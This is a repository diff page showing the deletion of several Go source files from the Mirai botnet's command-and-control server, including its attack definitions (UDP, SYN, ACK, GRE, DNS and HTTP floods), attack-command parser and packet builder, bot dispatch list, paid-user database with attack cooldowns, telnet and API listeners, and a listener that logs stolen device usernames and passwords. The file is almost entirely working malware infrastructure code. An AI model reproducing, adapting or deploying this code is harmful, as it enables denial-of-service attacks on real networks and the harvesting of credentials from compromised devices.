},
|
||||
"gcip": FlagInfo {
|
||||
19,
|
||||
"Set internal IP to destination ip, default is 0 (no)",
|
||||
},
|
||||
"method": FlagInfo {
|
||||
20,
|
||||
"HTTP method name, default is get",
|
||||
},
|
||||
"postdata": FlagInfo {
|
||||
21,
|
||||
"POST data, default is empty/none",
|
||||
},
|
||||
"path": FlagInfo {
|
||||
22,
|
||||
"HTTP path, default is /",
|
||||
},
|
||||
/*"ssl": FlagInfo {
|
||||
23,
|
||||
"Use HTTPS/SSL"
|
||||
},
|
||||
*/
|
||||
"conns": FlagInfo {
|
||||
24,
|
||||
"Number of connections",
|
||||
},
|
||||
"source": FlagInfo {
|
||||
25,
|
||||
"Source IP address, 255.255.255.255 for random",
|
||||
},
|
||||
}
|
||||
|
||||
var attackInfoLookup map[string]AttackInfo = map[string]AttackInfo {
|
||||
"udp": AttackInfo {
|
||||
0,
|
||||
[]uint8 { 2, 3, 4, 0, 1, 5, 6, 7, 25 },
|
||||
"UDP flood",
|
||||
},
|
||||
"vse": AttackInfo {
|
||||
1,
|
||||
[]uint8 { 2, 3, 4, 5, 6, 7 },
|
||||
"Valve source engine specific flood",
|
||||
},
|
||||
"dns": AttackInfo {
|
||||
2,
|
||||
[]uint8 { 2, 3, 4, 5, 6, 7, 8, 9 },
|
||||
"DNS resolver flood using the targets domain, input IP is ignored",
|
||||
},
|
||||
"syn": AttackInfo {
|
||||
3,
|
||||
[]uint8 { 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 },
|
||||
"SYN flood",
|
||||
},
|
||||
"ack": AttackInfo {
|
||||
4,
|
||||
[]uint8 { 0, 1, 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 },
|
||||
"ACK flood",
|
||||
},
|
||||
"stomp": AttackInfo {
|
||||
5,
|
||||
[]uint8 { 0, 1, 2, 3, 4, 5, 7, 11, 12, 13, 14, 15, 16 },
|
||||
"TCP stomp flood",
|
||||
},
|
||||
"greip": AttackInfo {
|
||||
6,
|
||||
[]uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25},
|
||||
"GRE IP flood",
|
||||
},
|
||||
"greeth": AttackInfo {
|
||||
7,
|
||||
[]uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25},
|
||||
"GRE Ethernet flood",
|
||||
},
|
||||
"udpplain": AttackInfo {
|
||||
9,
|
||||
[]uint8 {0, 1, 7},
|
||||
"UDP flood with less options. optimized for higher PPS",
|
||||
},
|
||||
"http": AttackInfo {
|
||||
10,
|
||||
[]uint8 {8, 7, 20, 21, 22, 24},
|
||||
"HTTP flood",
|
||||
},
|
||||
}
|
||||
|
||||
func uint8InSlice(a uint8, list []uint8) bool {
|
||||
for _, b := range list {
|
||||
if b == a {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func NewAttack(str string, admin int) (*Attack, error) {
|
||||
atk := &Attack{0, 0, make(map[uint32]uint8), make(map[uint8]string)}
|
||||
args, _ := shellwords.Parse(str)
|
||||
|
||||
var atkInfo AttackInfo
|
||||
// Parse attack name
|
||||
if len(args) == 0 {
|
||||
return nil, errors.New("Must specify an attack name")
|
||||
} else {
|
||||
if args[0] == "?" {
|
||||
validCmdList := "\033[37;1mAvailable attack list\r\n\033[36;1m"
|
||||
for cmdName, atkInfo := range attackInfoLookup {
|
||||
validCmdList += cmdName + ": " + atkInfo.attackDescription + "\r\n"
|
||||
}
|
||||
return nil, errors.New(validCmdList)
|
||||
}
|
||||
var exists bool
|
||||
atkInfo, exists = attackInfoLookup[args[0]]
|
||||
if !exists {
|
||||
return nil, errors.New(fmt.Sprintf("\033[33;1m%s \033[31mis not a valid attack!", args[0]))
|
||||
}
|
||||
atk.Type = atkInfo.attackID
|
||||
args = args[1:]
|
||||
}
|
||||
|
||||
// Parse targets
|
||||
if len(args) == 0 {
|
||||
return nil, errors.New("Must specify prefix/netmask as targets")
|
||||
} else {
|
||||
if args[0] == "?" {
|
||||
return nil, errors.New("\033[37;1mComma delimited list of target prefixes\r\nEx: 192.168.0.1\r\nEx: 10.0.0.0/8\r\nEx: 8.8.8.8,127.0.0.0/29")
|
||||
}
|
||||
cidrArgs := strings.Split(args[0], ",")
|
||||
if len(cidrArgs) > 255 {
|
||||
return nil, errors.New("Cannot specify more than 255 targets in a single attack!")
|
||||
}
|
||||
for _,cidr := range cidrArgs {
|
||||
prefix := ""
|
||||
netmask := uint8(32)
|
||||
cidrInfo := strings.Split(cidr, "/")
|
||||
if len(cidrInfo) == 0 {
|
||||
return nil, errors.New("Blank target specified!")
|
||||
}
|
||||
prefix = cidrInfo[0]
|
||||
if len(cidrInfo) == 2 {
|
||||
netmaskTmp, err := strconv.Atoi(cidrInfo[1])
|
||||
if err != nil || netmask > 32 || netmask < 0 {
|
||||
return nil, errors.New(fmt.Sprintf("Invalid netmask was supplied, near %s", cidr))
|
||||
}
|
||||
netmask = uint8(netmaskTmp)
|
||||
} else if len(cidrInfo) > 2 {
|
||||
return nil, errors.New(fmt.Sprintf("Too many /'s in prefix, near %s", cidr))
|
||||
}
|
||||
|
||||
ip := net.ParseIP(prefix)
|
||||
if ip == nil {
|
||||
return nil, errors.New(fmt.Sprintf("Failed to parse IP address, near %s", cidr))
|
||||
}
|
||||
atk.Targets[binary.BigEndian.Uint32(ip[12:])] = netmask
|
||||
}
|
||||
args = args[1:]
|
||||
}
|
||||
|
||||
// Parse attack duration time
|
||||
if len(args) == 0 {
|
||||
return nil, errors.New("Must specify an attack duration")
|
||||
} else {
|
||||
if args[0] == "?" {
|
||||
return nil, errors.New("\033[37;1mDuration of the attack, in seconds")
|
||||
}
|
||||
duration, err := strconv.Atoi(args[0])
|
||||
if err != nil || duration == 0 || duration > 3600 {
|
||||
return nil, errors.New(fmt.Sprintf("Invalid attack duration, near %s. Duration must be between 0 and 3600 seconds", args[0]))
|
||||
}
|
||||
atk.Duration = uint32(duration)
|
||||
args = args[1:]
|
||||
}
|
||||
|
||||
// Parse flags
|
||||
for len(args) > 0 {
|
||||
if args[0] == "?" {
|
||||
validFlags := "\033[37;1mList of flags key=val seperated by spaces. Valid flags for this method are\r\n\r\n"
|
||||
for _, flagID := range atkInfo.attackFlags {
|
||||
for flagName, flagInfo := range flagInfoLookup {
|
||||
if flagID == flagInfo.flagID {
|
||||
validFlags += flagName + ": " + flagInfo.flagDescription + "\r\n"
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
validFlags += "\r\nValue of 65535 for a flag denotes random (for ports, etc)\r\n"
|
||||
validFlags += "Ex: seq=0\r\nEx: sport=0 dport=65535"
|
||||
return nil, errors.New(validFlags)
|
||||
}
|
||||
flagSplit := strings.SplitN(args[0], "=", 2)
|
||||
if len(flagSplit) != 2 {
|
||||
return nil, errors.New(fmt.Sprintf("Invalid key=value flag combination near %s", args[0]))
|
||||
}
|
||||
flagInfo, exists := flagInfoLookup[flagSplit[0]]
|
||||
if !exists || !uint8InSlice(flagInfo.flagID, atkInfo.attackFlags) || (admin == 0 && flagInfo.flagID == 25) {
|
||||
return nil, errors.New(fmt.Sprintf("Invalid flag key %s, near %s", flagSplit[0], args[0]))
|
||||
}
|
||||
if flagSplit[1][0] == '"' {
|
||||
flagSplit[1] = flagSplit[1][1:len(flagSplit[1]) - 1]
|
||||
fmt.Println(flagSplit[1])
|
||||
}
|
||||
if flagSplit[1] == "true" {
|
||||
flagSplit[1] = "1"
|
||||
} else if flagSplit[1] == "false" {
|
||||
flagSplit[1] = "0"
|
||||
}
|
||||
atk.Flags[uint8(flagInfo.flagID)] = flagSplit[1]
|
||||
args = args[1:]
|
||||
}
|
||||
if len(atk.Flags) > 255 {
|
||||
return nil, errors.New("Cannot have more than 255 flags")
|
||||
}
|
||||
|
||||
return atk, nil
|
||||
}
|
||||
|
||||
func (this *Attack) Build() ([]byte, error) {
|
||||
buf := make([]byte, 0)
|
||||
var tmp []byte
|
||||
|
||||
// Add in attack duration
|
||||
tmp = make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(tmp, this.Duration)
|
||||
buf = append(buf, tmp...)
|
||||
|
||||
// Add in attack type
|
||||
buf = append(buf, byte(this.Type))
|
||||
|
||||
// Send number of targets
|
||||
buf = append(buf, byte(len(this.Targets)))
|
||||
|
||||
// Send targets
|
||||
for prefix,netmask := range this.Targets {
|
||||
tmp = make([]byte, 5)
|
||||
binary.BigEndian.PutUint32(tmp, prefix)
|
||||
tmp[4] = byte(netmask)
|
||||
buf = append(buf, tmp...)
|
||||
}
|
||||
|
||||
// Send number of flags
|
||||
buf = append(buf, byte(len(this.Flags)))
|
||||
|
||||
// Send flags
|
||||
for key,val := range this.Flags {
|
||||
tmp = make([]byte, 2)
|
||||
tmp[0] = key
|
||||
strbuf := []byte(val)
|
||||
if len(strbuf) > 255 {
|
||||
return nil, errors.New("Flag value cannot be more than 255 bytes!")
|
||||
}
|
||||
tmp[1] = uint8(len(strbuf))
|
||||
tmp = append(tmp, strbuf...)
|
||||
buf = append(buf, tmp...)
|
||||
}
|
||||
|
||||
// Specify the total length
|
||||
if len(buf) > 4096 {
|
||||
return nil, errors.New("Max buffer is 4096")
|
||||
}
|
||||
tmp = make([]byte, 2)
|
||||
binary.BigEndian.PutUint16(tmp, uint16(len(buf) + 2))
|
||||
buf = append(tmp, buf...)
|
||||
|
||||
return buf, nil
|
||||
}
|
|
@ -1,37 +0,0 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Bot struct {
|
||||
uid int
|
||||
conn net.Conn
|
||||
version byte
|
||||
source string
|
||||
}
|
||||
|
||||
func NewBot(conn net.Conn, version byte, source string) *Bot {
|
||||
return &Bot{-1, conn, version, source}
|
||||
}
|
||||
|
||||
func (this *Bot) Handle() {
|
||||
clientList.AddClient(this)
|
||||
defer clientList.DelClient(this)
|
||||
|
||||
buf := make([]byte, 2)
|
||||
for {
|
||||
this.conn.SetDeadline(time.Now().Add(180 * time.Second))
|
||||
if n,err := this.conn.Read(buf); err != nil || n != len(buf) {
|
||||
return
|
||||
}
|
||||
if n,err := this.conn.Write(buf); err != nil || n != len(buf) {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (this *Bot) QueueBuf(buf []byte) {
|
||||
this.conn.Write(buf)
|
||||
}
|
|
@ -1,130 +0,0 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"time"
|
||||
"math/rand"
|
||||
"sync"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type AttackSend struct {
|
||||
buf []byte
|
||||
count int
|
||||
botCata string
|
||||
}
|
||||
|
||||
type ClientList struct {
|
||||
uid int
|
||||
count int
|
||||
clients map[int]*Bot
|
||||
addQueue chan *Bot
|
||||
delQueue chan *Bot
|
||||
atkQueue chan *AttackSend
|
||||
totalCount chan int
|
||||
cntView chan int
|
||||
distViewReq chan int
|
||||
distViewRes chan map[string]int
|
||||
cntMutex *sync.Mutex
|
||||
}
|
||||
|
||||
func NewClientList() *ClientList {
|
||||
c := &ClientList{0, 0, make(map[int]*Bot), make(chan *Bot, 128), make(chan *Bot, 128), make(chan *AttackSend), make(chan int, 64), make(chan int), make(chan int), make(chan map[string]int), &sync.Mutex{}}
|
||||
go c.worker()
|
||||
go c.fastCountWorker()
|
||||
return c
|
||||
}
|
||||
|
||||
func (this *ClientList) Count() int {
|
||||
this.cntMutex.Lock()
|
||||
defer this.cntMutex.Unlock()
|
||||
|
||||
this.cntView <- 0
|
||||
return <-this.cntView
|
||||
}
|
||||
|
||||
func (this *ClientList) Distribution() map[string]int {
|
||||
this.cntMutex.Lock()
|
||||
defer this.cntMutex.Unlock()
|
||||
this.distViewReq <- 0
|
||||
return <-this.distViewRes
|
||||
}
|
||||
|
||||
func (this *ClientList) AddClient(c *Bot) {
|
||||
this.addQueue <- c
|
||||
}
|
||||
|
||||
func (this *ClientList) DelClient(c *Bot) {
|
||||
this.delQueue <- c
|
||||
fmt.Printf("Deleted client %d - %s - %s\n", c.version, c.source, c.conn.RemoteAddr())
|
||||
}
|
||||
|
||||
func (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) {
|
||||
attack := &AttackSend{buf, maxbots, botCata}
|
||||
this.atkQueue <- attack
|
||||
}
|
||||
|
||||
func (this *ClientList) fastCountWorker() {
|
||||
for {
|
||||
select {
|
||||
case delta := <-this.totalCount:
|
||||
this.count += delta
|
||||
break
|
||||
case <-this.cntView:
|
||||
this.cntView <- this.count
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (this *ClientList) worker() {
|
||||
rand.Seed(time.Now().UTC().UnixNano())
|
||||
|
||||
for {
|
||||
select {
|
||||
case add := <-this.addQueue:
|
||||
this.totalCount <- 1
|
||||
this.uid++
|
||||
add.uid = this.uid
|
||||
this.clients[add.uid] = add
|
||||
break
|
||||
case del := <-this.delQueue:
|
||||
this.totalCount <- -1
|
||||
delete(this.clients, del.uid)
|
||||
break
|
||||
case atk := <-this.atkQueue:
|
||||
if atk.count == -1 {
|
||||
for _,v := range this.clients {
|
||||
if atk.botCata == "" || atk.botCata == v.source {
|
||||
v.QueueBuf(atk.buf)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
var count int
|
||||
for _, v := range this.clients {
|
||||
if count > atk.count {
|
||||
break
|
||||
}
|
||||
if atk.botCata == "" || atk.botCata == v.source {
|
||||
v.QueueBuf(atk.buf)
|
||||
count++
|
||||
}
|
||||
}
|
||||
}
|
||||
break
|
||||
case <-this.cntView:
|
||||
this.cntView <- this.count
|
||||
break
|
||||
case <-this.distViewReq:
|
||||
res := make(map[string]int)
|
||||
for _,v := range this.clients {
|
||||
if ok,_ := res[v.source]; ok > 0 {
|
||||
res[v.source]++
|
||||
} else {
|
||||
res[v.source] = 1
|
||||
}
|
||||
}
|
||||
this.distViewRes <- res
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -1,40 +0,0 @@
|
|||
package main
|
||||
|
||||
const MiraiPrompt = `
|
||||
Ü[1;41m±²[40mß[41m²±[0;31mÜ Ü[1;41m±²[1C²±[0;31mÜ Ü[1;41m±²[40m[A
|
||||
[20C[40mß[41m²±[0;31mÜ Ü[1;41m±²[40mß[41m²±[0;31mÜ Ü[1;41m°±²[40m[A
|
||||
[37C[41m²Û[6C[0;31mÜ[1;41m±²[40mß[41m²±[0;31mÜ Ü[1;41m±²[1C²[40m[A
|
||||
[58C[41m±[0;31mÜ Ü[1;41m±²[1C[0;31mÜ[1;41m°±²²Û[1C²±°°±²²[40m
|
||||
[30;41m°[31m°±[1C±° [1C[30m°[31m°±[1C±°°[1C[30m°[31m°±[1C±[40m[A
|
||||
[22C[41m°°[1C[30m°[31m°±[1C±°°[1C[30m°[31m°±[9C[30m°[31m°±[40m[A
|
||||
[48C[1C[41m±°°[1C[30m°[31m°±[1C±°°[1C[30m°[31m°±[1C[30m°[40m[A
|
||||
[66C[41m[31m°±[6C[30m°[31m°±[40m
|
||||
[30;41m±°[31m°[1C[30m±°[31m°[1C[30m±°[31m°[1C[30m±° [1C±°[40m[A
|
||||
[19C[41m[31m°[1C[30m°° [1C±°[31m°[1C[30m±° [1C±°[31m°[9C[40m[A
|
||||
[45C[41m[30m±°[31m°[1C[30m±° [1C±°[31m°[1C[30m±° [1C±°[31m[40m[A
|
||||
[63C[41m°[1C[30m±°[31m°[6C[30m±°[31m°[40m
|
||||
[30;41m²±°[1C²±±[1C²±°[1C²±±[1C²±°[1C²±±[1C²±°[1C²±±[1C²±°[40m[A
|
||||
[36C[9C[41m²±°[1C²±±[1C²±°[1C²±±[1C²±°[1C²±°[6C²±°[40m
|
||||
[41mÛ²±[1C[40mÛÛ[41m²[1CÛ²±[1CÛ²²[1CÛ²±[1C[40mÛ[41m²±[1C[40m[A
|
||||
[25C[40mÞ[41m²²[40mÝ Û[41m²°[9C[40mÞ[41m²²[40mÝ [41mÛ²[40m[A
|
||||
[55C[41m±[1CÛ²²[1CÛ²±[1C[40mÛ[41m²°[6C[40mÛ[41m²°[40m
|
||||
ÛÛ[41m²[1C²Û[40mÛ ÛÛ[41m²[40mÜÛÛ[41m²[1C[40mÛ[41mÛ[40mÛ [A
|
||||
[21C[41m²[40mÛ[41m²[2C[40mßÛ[41m²[40mÛÜ ÛÛ[41m²[40mÜÜ[8CßÛ[A
|
||||
[48C[41m²[40mÛÜ ÛÛ[41m²[40mÜÛÛ[41m²[1C[40mÛ[41mÛ[40mÛ ÛÛ[A
|
||||
[67C[41m²[40mÜÜ ÛÛÛ
|
||||
²ÛÛßßßß ÛÛ² ÛÛÛ ÛÛ² ÛÛÛ ßÛÛÛ ÛÛ²[12CßÛÛÛ ÛÛ² ÛÛÛ ÛÛ² ÛÛ²[6CÛÛÛ
|
||||
²[47mÛ[40m²[5C²Û² ²ÛÛ ÛÛ² ²ÛÛ[5CÛÛ² ÛÛ²[13CÛÛ² ²Û² ²ÛÛ ÛÛ² ÛÛ²[6C²ÛÛ
|
||||
±[47mÛ[40m²[5C²Û± ²Û² ²Û²Ü²Û² ±²Û ²Û² ²Û²[9C±²Û ²Û² ²Û± ²Û² ²Û² ²Û²[A
|
||||
[68C[6C²Û²
|
||||
±[47mÛ[40m±[5C±Û± ±Û± ±Û± ±Û± ²ÛÛ ±Û± ±Û±[9C²ÛÛ ±Û± ±Û± ±Û± ±Û± ±Û±[A
|
||||
[68C[6C±Û±
|
||||
°[47mÛ[40m°[5C°Û° °Û° °Û° °Û° ßÛÛÜÛÛß °ÛÛÛÛÛ[6CßÛÛÜÛÛß °Û° °Û° °Û° °Û°[A
|
||||
[68C[6C°Û°
|
||||
|
||||
SYSOP: PIRATE PETE ú CUSTOMIZED PCB 15.1 ú CLASSIC GAMES/UTILS ARE[A
|
||||
[75CA
|
||||
NODES: 604-732-3233 ú NODES 2-4 604-NOT-4U! ú NODES 5-6 604-NOT-YET!
|
||||
2.1 GIGZ ONLINE[6Cú SYNDROME DISTRO SITE ú EXPERIENCED USERS ONLY
|
||||
|
||||
[19CANSI : THE MASKED PIRATEúIMPERIAL
|
||||
`
|
|
@ -1,145 +0,0 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"net"
|
||||
"encoding/binary"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"time"
|
||||
"errors"
|
||||
)
|
||||
|
||||
type Database struct {
|
||||
db *sql.DB
|
||||
}
|
||||
|
||||
type AccountInfo struct {
|
||||
username string
|
||||
maxBots int
|
||||
admin int
|
||||
}
|
||||
|
||||
func NewDatabase(dbAddr string, dbUser string, dbPassword string, dbName string) *Database {
|
||||
db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@tcp(%s)/%s", dbUser, dbPassword, dbAddr, dbName))
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
fmt.Println("Mysql DB opened")
|
||||
return &Database{db}
|
||||
}
|
||||
|
||||
func (this *Database) TryLogin(username string, password string) (bool, AccountInfo) {
|
||||
rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE username = ? AND password = ? AND (wrc = 0 OR (UNIX_TIMESTAMP() - last_paid < `intvl` * 24 * 60 * 60))", username, password)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return false, AccountInfo{"", 0, 0}
|
||||
}
|
||||
defer rows.Close()
|
||||
if !rows.Next() {
|
||||
return false, AccountInfo{"", 0, 0}
|
||||
}
|
||||
var accInfo AccountInfo
|
||||
rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)
|
||||
return true, accInfo
|
||||
}
|
||||
|
||||
func (this *Database) CreateUser(username string, password string, max_bots int, duration int, cooldown int) bool {
|
||||
rows, err := this.db.Query("SELECT username FROM users WHERE username = ?", username)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return false
|
||||
}
|
||||
if rows.Next() {
|
||||
return false
|
||||
}
|
||||
this.db.Exec("INSERT INTO users (username, password, max_bots, admin, last_paid, cooldown, duration_limit) VALUES (?, ?, ?, 0, UNIX_TIMESTAMP(), ?, ?)", username, password, max_bots, cooldown, duration)
|
||||
return true
|
||||
}
|
||||
|
||||
func (this *Database) ContainsWhitelistedTargets(attack *Attack) bool {
|
||||
rows, err := this.db.Query("SELECT prefix, netmask FROM whitelist")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return false
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var prefix string
|
||||
var netmask uint8
|
||||
rows.Scan(&prefix, &netmask)
|
||||
|
||||
// Parse prefix
|
||||
ip := net.ParseIP(prefix)
|
||||
ip = ip[12:]
|
||||
iWhitelistPrefix := binary.BigEndian.Uint32(ip)
|
||||
|
||||
for aPNetworkOrder, aN := range attack.Targets {
|
||||
rvBuf := make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(rvBuf, aPNetworkOrder)
|
||||
iAttackPrefix := binary.BigEndian.Uint32(rvBuf)
|
||||
if aN > netmask { // Whitelist is less specific than attack target
|
||||
if netshift(iWhitelistPrefix, netmask) == netshift(iAttackPrefix, netmask) {
|
||||
return true
|
||||
}
|
||||
} else if aN < netmask { // Attack target is less specific than whitelist
|
||||
if (iAttackPrefix >> aN) == (iWhitelistPrefix >> aN) {
|
||||
return true
|
||||
}
|
||||
} else { // Both target and whitelist have same prefix
|
||||
if (iWhitelistPrefix == iAttackPrefix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (this *Database) CanLaunchAttack(username string, duration uint32, fullCommand string, maxBots int, allowConcurrent int) (bool, error) {
|
||||
rows, err := this.db.Query("SELECT id, duration_limit, cooldown FROM users WHERE username = ?", username)
|
||||
defer rows.Close()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
var userId, durationLimit, cooldown uint32
|
||||
if !rows.Next() {
|
||||
return false, errors.New("Your access has been terminated")
|
||||
}
|
||||
rows.Scan(&userId, &durationLimit, &cooldown)
|
||||
|
||||
if durationLimit != 0 && duration > durationLimit {
|
||||
return false, errors.New(fmt.Sprintf("You may not send attacks longer than %d seconds.", durationLimit))
|
||||
}
|
||||
rows.Close()
|
||||
|
||||
if allowConcurrent == 0 {
|
||||
rows, err = this.db.Query("SELECT time_sent, duration FROM history WHERE user_id = ? AND (time_sent + duration + ?) > UNIX_TIMESTAMP()", userId, cooldown)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
if rows.Next() {
|
||||
var timeSent, historyDuration uint32
|
||||
rows.Scan(&timeSent, &historyDuration)
|
||||
return false, errors.New(fmt.Sprintf("Please wait %d seconds before sending another attack", (timeSent + historyDuration + cooldown) - uint32(time.Now().Unix())))
|
||||
}
|
||||
}
|
||||
|
||||
this.db.Exec("INSERT INTO history (user_id, time_sent, duration, command, max_bots) VALUES (?, UNIX_TIMESTAMP(), ?, ?, ?)", userId, duration, fullCommand, maxBots)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func (this *Database) CheckApiCode(apikey string) (bool, AccountInfo) {
|
||||
rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE api_key = ?", apikey)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return false, AccountInfo{"", 0, 0}
|
||||
}
|
||||
defer rows.Close()
|
||||
if !rows.Next() {
|
||||
return false, AccountInfo{"", 0, 0}
|
||||
}
|
||||
var accInfo AccountInfo
|
||||
rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)
|
||||
return true, accInfo
|
||||
}
|
|
@ -1,113 +0,0 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"errors"
|
||||
"time"
|
||||
)
|
||||
|
||||
const DatabaseAddr string = "127.0.0.1"
|
||||
const DatabaseUser string = "root"
|
||||
const DatabasePass string = "password"
|
||||
const DatabaseTable string = "mirai"
|
||||
|
||||
var clientList *ClientList = NewClientList()
|
||||
var database *Database = NewDatabase(DatabaseAddr, DatabaseUser, DatabasePass, DatabaseTable)
|
||||
|
||||
func main() {
|
||||
tel, err := net.Listen("tcp", "0.0.0.0:23")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
api, err := net.Listen("tcp", "0.0.0.0:101")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
go func() {
|
||||
for {
|
||||
conn, err := api.Accept()
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
go apiHandler(conn)
|
||||
}
|
||||
}()
|
||||
|
||||
for {
|
||||
conn, err := tel.Accept()
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
go initialHandler(conn)
|
||||
}
|
||||
|
||||
fmt.Println("Stopped accepting clients")
|
||||
}
|
||||
|
||||
func initialHandler(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
conn.SetDeadline(time.Now().Add(10 * time.Second))
|
||||
|
||||
buf := make([]byte, 32)
|
||||
l, err := conn.Read(buf)
|
||||
if err != nil || l <= 0 {
|
||||
return
|
||||
}
|
||||
|
||||
if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 {
|
||||
if buf[3] > 0 {
|
||||
string_len := make([]byte, 1)
|
||||
l, err := conn.Read(string_len)
|
||||
if err != nil || l <= 0 {
|
||||
return
|
||||
}
|
||||
var source string
|
||||
if string_len[0] > 0 {
|
||||
source_buf := make([]byte, string_len[0])
|
||||
l, err := conn.Read(source_buf)
|
||||
if err != nil || l <= 0 {
|
||||
return
|
||||
}
|
||||
source = string(source_buf)
|
||||
}
|
||||
NewBot(conn, buf[3], source).Handle()
|
||||
} else {
|
||||
NewBot(conn, buf[3], "").Handle()
|
||||
}
|
||||
} else {
|
||||
NewAdmin(conn).Handle()
|
||||
}
|
||||
}
|
||||
|
||||
func apiHandler(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
NewApi(conn).Handle()
|
||||
}
|
||||
|
||||
func readXBytes(conn net.Conn, buf []byte) (error) {
|
||||
tl := 0
|
||||
|
||||
for tl < len(buf) {
|
||||
n, err := conn.Read(buf[tl:])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n <= 0 {
|
||||
return errors.New("Connection closed unexpectedly")
|
||||
}
|
||||
tl += n
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func netshift(prefix uint32, netmask uint8) uint32 {
|
||||
return uint32(prefix >> (32 - netmask))
|
||||
}
|
|
@ -1,95 +0,0 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
l, err := net.Listen("tcp", "0.0.0.0:48101")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
conn, err := l.Accept()
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
go handleConnection(conn)
|
||||
}
|
||||
}
|
||||
|
||||
func handleConnection(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
conn.SetDeadline(time.Now().Add(10 * time.Second))
|
||||
|
||||
bufChk, err := readXBytes(conn, 1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var ipInt uint32
|
||||
var portInt uint16
|
||||
|
||||
if bufChk[0] == 0 {
|
||||
ipBuf, err := readXBytes(conn, 4)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ipInt = binary.BigEndian.Uint32(ipBuf)
|
||||
|
||||
portBuf, err := readXBytes(conn, 2)
|
||||
if err != nil {
|
||||
return;
|
||||
}
|
||||
|
||||
portInt = binary.BigEndian.Uint16(portBuf)
|
||||
} else {
|
||||
ipBuf, err := readXBytes(conn, 3)
|
||||
if err != nil {
|
||||
return;
|
||||
}
|
||||
ipBuf = append(bufChk, ipBuf...)
|
||||
|
||||
ipInt = binary.BigEndian.Uint32(ipBuf)
|
||||
|
||||
portInt = 23
|
||||
}
|
||||
|
||||
uLenBuf, err := readXBytes(conn, 1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
usernameBuf, err := readXBytes(conn, int(byte(uLenBuf[0])))
|
||||
|
||||
pLenBuf, err := readXBytes(conn, 1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
passwordBuf, err := readXBytes(conn, int(byte(pLenBuf[0])))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("%d.%d.%d.%d:%d %s:%s\n", (ipInt >> 24) & 0xff, (ipInt >> 16) & 0xff, (ipInt >> 8) & 0xff, ipInt & 0xff, portInt, string(usernameBuf), string(passwordBuf))
|
||||
}
|
||||
|
||||
func readXBytes(conn net.Conn, amount int) ([]byte, error) {
|
||||
buf := make([]byte, amount)
|
||||
tl := 0
|
||||
|
||||
for tl < amount {
|
||||
rd, err := conn.Read(buf[tl:])
|
||||
if err != nil || rd <= 0 {
|
||||
return nil, errors.New("Failed to read")
|
||||
}
|
||||
tl += rd
|
||||
}
|
||||
|
||||
return buf, nil
|
||||
}
|
Loading…
Reference in New Issue
Block a user